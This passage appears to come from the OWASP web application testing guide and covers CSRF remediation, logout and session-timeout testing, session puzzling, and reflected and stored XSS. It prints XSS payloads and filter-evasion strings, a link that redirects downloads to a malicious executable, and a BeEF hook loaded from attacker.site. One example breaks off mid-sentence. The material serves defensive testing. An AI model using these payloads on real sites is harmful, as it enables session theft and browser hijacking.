Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.

Tools

- WebScarab Spider http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
- CSRF Tester http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project
- Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_site_request_forgery.php (via img)
- Cross Frame Loader http://yehg.net/lab/pr0js/pentest/cross_site_framing.php (via iframe)
- Pinata-csrf-tool <http://code.google.com/p/pinata-csrf-tool/>

References

Whitepapers

- Peter W: "Cross-Site Request Forgeries" - <http://www.tux.org/~peterw/csrf.txt>
- Thomas Schreiber: "Session Riding" - http://www.securenet.de/papers/Session_Riding.pdf
- Oldest known post - <http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan>
- Cross-site Request Forgery FAQ - <http://www.cgisecurity.com/articles/csrf-faq.shtml>
- A Most-Neglected Fact About Cross Site Request Forgery (CSRF) - http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf

Remediation

The following countermeasures are divided among recommendations to users and to developers.

Users

Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating actions are:

- Logoff immediately after using a web application
- Do not allow the browser to save username/passwords, and do not allow sites to “remember” the log in details.
- Do not use the same browser to access sensitive applications and to surf freely the Internet; if it is necessary to do both things at the same machine, do them with separate browsers.

Integrated HTML-enabled mail/browser, newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.

Developers

Add session-related information to the URL. What makes the attack possible is the fact that the session is uniquely identified by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL level makes it difficult to the attacker to know the structure of URLs to attack.

Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit:

- Use POST instead of GET. While POST requests may be simulated by means of JavaScript, they make it more complex to mount an attack.
- The same is true with intermediate confirmation pages (such as: “Are you sure you really want to do this?” type of pages). They can be bypassed by an attacker, although they will make their work a bit more complex. Therefore, do not rely solely on these measures to protect your application.
- Automatic log out mechanisms somewhat mitigate the exposure to these vulnerabilities, though it ultimately depends on the context (a user who works all day long on a vulnerable web banking application is obviously more at risk than a user who uses the same application occasionally).

Related Security Activities

Description of CSRF Vulnerabilities

See the OWASP article on [CSRF Vulnerabilities](#).

How to Avoid CSRF Vulnerabilities

See the [OWASP Development Guide](#) article on how to [Avoid CSRF Vulnerabilities](#).

How to Review Code for CSRF Vulnerabilities

See the [OWASP Code Review Guide](#) article on how to [Review Code for CSRF Vulnerabilities](#).

How to Prevent CSRF Vulnerabilites

See the [OWASP CSRF Prevention Cheat Sheet](#) for prevention measures.

Testing for logout functionality (OTG-SESS-006)

Summary

Session termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks.

A secure session termination requires at least the following components:

- Availability of user interface controls that allow the user to manually log out.
- Session termination after a given amount of time without activity (session timeout).
- Proper invalidation of server-side session state.

There are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality.

Another common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided.

Some web application frameworks rely solely on the session cookie to identify the logged-on user. The user's ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.

Users of web browsers often don't mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.

The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.

How to Test

Testing for log out user interface:

Verify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.

Result Expected:

There are some properties which indicate a good log out user interface:

- A log out button is present on all pages of the web application.
- The log out button should be identified quickly by a user who wants to log out from the web application.
- After loading a page the log out button should be visible without scrolling.

- Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.

Testing for server-side session termination:

First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don't show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.

Result Expected:

No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.

Testing for session timeout:

Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.

Result Expected:

The same results as for server-side session termination testing described before are expected by a log out caused by an inactivity timeout.

The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.

Testing for session termination in single sign-on environments (single sign-off):

Perform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.

Result Expected:

It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.

Tools

- "Burp Suite - Repeater" - <http://portswigger.net/burp/repeater.html>

References

Whitepapers

- "The FormsAuthentication.SignOut method does not prevent cookie replay attacks in ASP.NET applications" - <http://support.microsoft.com/default.aspx?scid=kb;en-us;900111>
- "Cookie replay attacks in ASP.NET when using forms authentication" - <https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication>

Test Session Timeout (OTG-SESS-007)

Summary

In this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.

All applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. The most appropriate timeout should be a balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not enforce a timeout-based log out should be considered not secure, unless such behavior is required by a specific functional requirement.

The idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user, and under certain circumstances could protect public computers from session reuse. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time.

Session timeout management and expiration must be enforced server-side. If some data under the control of the client is used to enforce the session timeout, for example using cookie values or other client parameters to track time references (e.g. number of minutes since log in time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time on the server side and, after the timeout is expired, automatically invalidate the current user’s session and delete every data stored on the client.

Both actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to prevent the reuse of session tokens. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as ‘cookie replay’). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim’s PC), but, in a variety of cases, this may not be impossible or particularly difficult.

The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not implemented on the application, then an attacker could access to the same account by simply pressing the “back” button of the browser.

How to Test

Black Box testing

The same approach seen in the [Testing for logout functionality \(OTG-SESS-006\)](#) section can be applied when measuring the timeout log out.

The testing methodology is very similar. First, testers have to check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. As in the log out function, after the timeout has passed, all session tokens should be destroyed or be unusable.

Then, if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it's possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it's not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged.

As a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again.

Gray Box Testing

The tester needs to check that:

- The log out function effectively destroys all session token, or at least renders them unusable,
- The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers
- A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering.

Note that the most important thing is for the application to invalidate the session on the server side. Generally this means that the code must invoke the appropriate methods, e.g. `HttpSession.invalidate()` in Java and `Session.abandon()` in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.

References

OWASP Resources

- [Session Management Cheat Sheet](#)

Testing for Session puzzling (OTG-SESS-008)

Summary

Session Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions, including but not limited to:

- Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.
- Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.
- Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.
- Manipulate server-side values in indirect methods that cannot be predicted or detected.
- Execute traditional attacks in locations that were previously unreachable, or even considered secure.

This vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.

For example, an attacker could use session variable overloading to bypass authentication enforcement mechanisms of applications that enforce authentication by validating the existence of session variables that contain identity-related values, which are usually stored in the session after a successful authentication process. This means an attacker first accesses a location in the application that sets session context and then accesses privileged locations that examine this context.

For example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.

How to Test

Black Box Testing

This vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points and then examining exit points. In case of black box testing this procedure is difficult and requires some luck since every different sequence could lead to a different result.

Examples

A very simple example could be the password reset functionality that, in the entry point, could request the user to provide some identifying information such as the username or the e-mail address. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages in the application that show private data based on this session object. In this manner the attacker could bypass the authentication process.

Gray Box testing

The most effective way to detect these vulnerabilities is via a source code review.

References

Whitepapers

- Session Puzzles: <http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf>
- Session Puzzling and Session Race Conditions: <http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html>

Remediation

Session variables should only be used for a single consistent purpose.

Input Validation Testing

The most common web application security weakness is the failure to properly validate input coming from the client or from the environment before using it. This weakness leads to almost all of the major vulnerabilities in web applications, such as cross site scripting, SQL injection, interpreter injection, locale/Unicode attacks, file system attacks, and buffer overflows.

Data from an external entity or client should never be trusted, since it can be arbitrarily tampered with by an attacker. "All Input is Evil", says Michael Howard in his famous book "Writing Secure Code". That is rule number one. Unfortunately, complex applications often have a large number of entry points, which makes it difficult for a developer to enforce this rule. This chapter describes Data Validation testing. This is the task of testing all the possible forms of input to understand if the application sufficiently validates input data before using it.

Input validation testing is split into the following categories:

Testing for Cross site scripting

Cross Site Scripting (XSS) testing checks if it is possible to manipulate the input parameters of the application so that it generates malicious output. Testers find an XSS vulnerability when the application does not validate their input and creates an output that is under their control. This vulnerability leads to various attacks, for example, stealing confidential information (such as session cookies) or taking control of the victim's browser. An XSS attack breaks the following pattern: Input -> Output == cross-site scripting.

In this guide, the following types of XSS testing are discussed in details:

[Testing for Reflected Cross Site Scripting \(OTG-INPVAL-001\)](#)

[Testing for Stored Cross Site Scripting \(OTG-INPVAL-002\)](#)

Client side XSS testing, such as DOM XSS and Cross site Flashing is discussed in the Client Side testing section.

Testing for HTTP Verb Tampering and Parameter Pollution

HTTP Verb Tampering tests the web application's response to different HTTP methods accessing system objects. For every system object discovered during spidering, the tester should attempt accessing all of those objects with every HTTP method. HTTP Parameter Pollution tests the applications response to receiving multiple HTTP parameters with the same name. For example, if the parameter *username* is included in the GET or POST parameters twice, which one is honoured, if any.

HTTP Verb Tampering is described in

[Testing for HTTP Verb Tampering \(OTG-INPVAL-003\)](#)

and HTTP Parameter testing techniques are presented in

[Testing for HTTP Parameter pollution \(OTG-INPVAL-004\)](#)

SQL Injection (OTG-INPVAL-005)

SQL injection testing checks if it is possible to inject data into the application so that it executes a user-controlled SQL query in the back-end database. Testers find an SQL injection vulnerability if the application uses user input to create SQL queries without proper input validation. A successful exploitation of this class of vulnerability allows an unauthorized user to access or manipulate data in the database. Note that application data often represents the core asset of a company. An SQL Injection attack breaks the following pattern: Input -> Query SQL == SQL injection

SQL Injection testing is further broken down by product or vendor:

[Oracle Testing](#)

[MySQL Testing](#)

[SQL Server Testing](#)

[Testing PostgreSQL](#)[MS Access Testing](#)[Testing for NoSQL injection](#)

LDAP Injection (OTG-INPVAL-006)

LDAP injection testing is similar to SQL Injection testing. The differences are that testers use the LDAP protocol instead of SQL and the target is an LDAP Server instead of a SQL Server. An LDAP Injection attack breaks the following pattern:

Input -> Query LDAP == LDAP injection

ORM Injection (OTG-INPVAL-007)

ORM injection testing is similar to SQL Injection Testing. In this case, testers use a SQL Injection against an ORM-generated data access object model. From the tester's point of view, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in the code generated by an ORM tool.

XML Injection (OTG-INPVAL-008)

XML injection testing checks if it possible to inject a particular XML document into the application. Testers find an XML injection vulnerability if the XML parser fails to make appropriate data validation.

An XML Injection attack breaks the following pattern:

Input -> XML doc == XML injection

SSI Injection (OTG-INPVAL-009)

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by Server-Side Includes (SSI) Injection. In SSI injection testing, testers check if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

XPath Injection (OTG-INPVAL-010)

XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, testers check if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.

IMAP/SMTP Injection (OTG-INPVAL-011)

This threat affects all the applications that communicate with mail servers (IMAP/SMTP), generally web mail applications. In IMAP/SMTP injection testing, testers check if it possible to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not properly sanitized.

An IMAP/SMTP Injection attack breaks the following pattern:

Input -> IMAP/SMTP command == IMAP/SMTP Injection

Code Injection (OTG-INPVAL-012)

Code injection testing checks if it is possible to inject into an application data that will be later executed by the web server.

A Code Injection attack breaks the following pattern:

Input -> malicious Code == Code Injection

OS Commanding (OTG-INPVAL-013)

In command injection testing testers will try to inject an OS command through an HTTP request into the application.

An OS Command Injection attack breaks the following pattern:

Input -> OS Command == OS Command Injection

Buffer overflow (OTG-INPVAL-014)

In these tests, testers check for different types of buffer overflow vulnerabilities. Here are the testing methods for the common types of buffer overflow vulnerabilities:

[Heap overflow](#)

[Stack overflow](#)

[Format string](#)

In general Buffer overflow breaks the following pattern:

Input -> Fixed buffer or format string == overflow

Incubated vulnerability (OTG-INPVAL-015)

Incubated testing is a complex testing that needs more than one data validation vulnerability to work.

Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)

Describes how to test for an HTTP Exploit, as HTTP Verb, HTTP Splitting, HTTP Smuggling.

In every pattern shown, the data should be validated by the application before it's trusted and processed. The goal of testing is to verify if the application actually performs validation and does not trust its input.

Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)

Summary

Reflected [Cross-site Scripting \(XSS\)](#) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

Reflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code using the victim's browser.

Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).

One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out "`<script>`", but might not filter `%3cscript%3e` which simply includes another encoding of tags.

How to Test

Black Box testing

A black-box test will include at least three phases:

1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually.

Some example of such input data are the following:

```
<script>alert(123)</script>
```

```
"><script>alert(document.cookie)</script>
```

For a comprehensive list of potential test strings, see the [XSS Filter Evasion Cheat Sheet](#).

3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web

page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:

```
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
```

However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].


Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:

```
\n (new line)
\r (carriage return)
\' (apostrophe or single quote)
\" (double quote)
\\ (backslash)
\uXXXX (unicode values)
```

For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]

Example 1

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.



The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.

Let's try to click on the following link and see what happens:

```
http://example.com/index.php?user=<script>alert(123)</script>
```

If no sanitization is applied this will result in the following popup:




This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

Example 2

Let's try other piece of code (link):

```
http://example.com/index.php?user=<script>>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
```

This produces the following behavior:



This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

Bypass XSS filters

Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.

The [XSS Filter Evasion Cheat Sheet](#) documents common filter evasion tests.

Example 3: Tag Attribute Value

Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of `<script>` tags and even without the use of characters such as `"` `<` `>` and `/` that are commonly filtered.

For example, the web application could use the user input value to fill an attribute, as shown in the following code:

```
<input type="text" name="state" value="INPUT_FROM_USER">
```

Then an attacker could submit the following code:

```
" onfocus="alert(document.cookie)
```

Example 4: Different syntax or encoding

In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the encoding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter.

Following some examples:

```
"><script >alert(document.cookie)</script >
```

```
"><ScRiPt>alert(document.cookie)</ScRiPt>
```

```
"%3cscript%3ealert(document.cookie)%3c/script%3e
```

Example 5: Bypassing non-recursive filtering

Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:

```
<scr<script>ipt>alert(document.cookie)</script>
```

Example 6: Including external script

Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:

```
<?
  $re = "/<script[^>]+src/i";

  if (preg_match($re, $_GET['var']))
  {
    echo "Filtered";
    return;
  }
```

```
}  
  echo "welcome ".$_GET['var']." !";  
?>
```

In this scenario there is a regular expression checking if `

Testing for Stored Cross Site Scripting (OTG-INPVAL-002)

Summary

Stored [Cross-site Scripting \(XSS\)](#) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.

Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user's browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application, this may also be called second-order XSS.

This vulnerability can be used to conduct a number of browser-based attacks including:

- Hijacking another user's browser
- Capturing sensitive information viewed by application users
- Pseudo defacement of the application
- Port scanning of internal hosts ("internal" in relation to the users of the web application)
- Directed delivery of browser-based exploits
- Other malicious activities

Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

- Attacker stores malicious code into the vulnerable page
- User authenticates in the application
- User visits vulnerable page
- Malicious code is executed by the user's browser

This type of attack can also be exploited with browser exploitation frameworks such as [BeEF](#), [XSS Proxy](#) and [Backframe](#). These frameworks allow for complex JavaScript exploit development.

Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.

How to Test

Black Box testing

The process for identifying stored XSS vulnerabilities is similar to the process described during the [testing for reflected XSS](#).

Input Forms

The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

- User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.

- Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
- File Manager: application that allows upload of files
- Application settings/preferences: application that allows the user to set preferences
- Forum/Message board: application that permits exchange of posts among users
- Blog: if the blog application permits to users submitting comments
- Log: if the application stores some users input into logs.

Analyze HTML code

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.

Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.

Example: Email stored data in index2.php

User Details	
Name:	Administrator
Username:	admin
Email:	aaa@aa.com
New Password:	
Verify Password:	

The HTML code of index2.php where the email value is located:

```
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
```

In this case, the tester needs to find a way to inject code outside the `<input>` tag as below:

```
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
```

Testing for Stored XSS

This involves testing the input validation and filtering controls of the application. Basic injection examples in this case:


```
aaa@aa.com" ><script>alert(document.cookie)</script>
```

```
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
```

Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security

controls are implemented or modifying the HTTP request with a web proxy such as [WebScarab](#). It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.

Result Expected:



The HTML code following the injection:

```
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script>
```

The input is stored and the XSS payload is executed by the browser when reloading the page. If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see [testing for reflected XSS](#) chapter). It is strongly recommended that testers refer to [XSS Filter Evasion](#), [RSnake](#) and [Mario](#) XSS Cheat pages, which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers and tools section for more detailed information.

Leverage Stored XSS with BeEF

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [BeEF](#), [XSS Proxy](#) and [Backframe](#).

A typical BeEF exploitation scenario involves:

- Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)
- Waiting for the application user to view the vulnerable page where the stored input is displayed
- Control the application user's browser via the BeEF console

The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.

Example: BeEF Injection in index2.php:

```
aaa@aa.com"><script src=http://attacker.site/hook.js></script>
```

When the user loads the page index2.php, the script hook.js is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.

Result Expected

The screenshot shows the BeEF Control Panel interface. The browser address bar displays the URL: `ec2-175-41-187-188.ap-southeast-1.compute.amazonaws.com:3000/ui/panel`. The interface includes a sidebar for 'Hooked Browsers' and a main content area with tabs for 'Getting Started', 'Logs', and 'Current Browser'. The 'Current Browser' tab is active, showing details for a Chrome browser. The details are organized into three categories: Browser (12 Items), Hooked Page (5 Items), and Host (3 Items). Each item in these categories has an 'Initialization' status.

Category	Item	Status
Category: Browser (12 Items)	Browser Name: Chrome	Initialization
	Browser Version: 17	Initialization
	Browser UA String: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11	Initialization
	Window Size: Width: 1366, Height: 670	Initialization
	Java Enabled: Yes	Initialization
	VBScript Enabled: No	Initialization
	Has Flash: Yes	Initialization
	Has GoogleGears: No	Initialization
	Has WebSockets: Yes	Initialization
	Has ActiveX: No	Initialization
	Session Cookies: Yes	Initialization
	Persistent Cookies: Yes	Initialization
Category: Hooked Page (5 Items)	Page Title: BeEF Basic Demo	Initialization
	Page URI: http://ec2-175-41-187-188.ap-southeast-1.compute.amazonaws.com:3000/demos/basic.html	Initialization
	Page Referrer: No Referrer	Initialization
	Hostname/IP: ec2-175-41-187-188.ap-southeast-1.compute.amazonaws.com	Initialization
	Cookies: BEEFH00K=tzZam0bCgzBzBr4vjmwUK1EhXKnfdvMGxtXEfHRPMolGhzWSA5fa2v3Xl2THOllxsDhXzmiY21kPF15W	Initialization
Category: Host (3 Items)	OS Name: Macintosh	Initialization
	System Platform: MacIntel	Initialization
	Screen Params: Width: 1680, Height: 1050, Colour Depth: 24	Initialization

This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.

File Upload

If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.

Consider the following HTTP POST request for file upload:

```
POST /fileupload.aspx HTTP/1.1
[...]

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain

test
```

This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.

HTTP POST Request forged:

```
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>
```

